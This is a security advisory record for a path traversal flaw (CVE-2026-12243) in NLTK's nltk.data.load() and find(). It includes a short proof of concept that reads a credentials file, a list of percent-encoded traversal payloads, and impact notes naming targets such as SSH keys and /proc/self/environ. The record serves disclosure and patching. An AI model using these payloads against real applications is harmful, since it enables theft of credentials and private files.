GHSA-M42H-3232-VPV3
Vulnerability from github – Published: 2026-08-13 20:45 – Updated: 2026-08-13 20:45Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.
Vulnerable Code
nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path_, url2pathname(resource_name)) if os.path.exists(p): return FileSystemPathPointer(p)
Proof of Concept
import nltk.data nltk.data.path = ["/home/user/nltk_data"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRET_credentials.txt", format="raw") print(data) b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n' All of these bypass path checks and decode identically:
Payload After url2pathname()
%2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.
Fix
Decode before checking:
from urllib.parse import unquote resource_name = unquote(resource_name) # decode first, then validate
Impact
An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12243"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-13T20:45:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Summary\nnltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.\n\n# Vulnerable Code\nnltk/data.py - find() function:\n url2pathname() decodes %2e%2e -\u003e .. AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b\u0027AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n\u0027\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name) # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().",
"id": "GHSA-m42h-3232-vpv3",
"modified": "2026-08-13T20:45:05Z",
"published": "2026-08-13T20:45:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12243"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/issues/3504"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3522"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1"
},
{
"type": "WEB",
"url": "https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.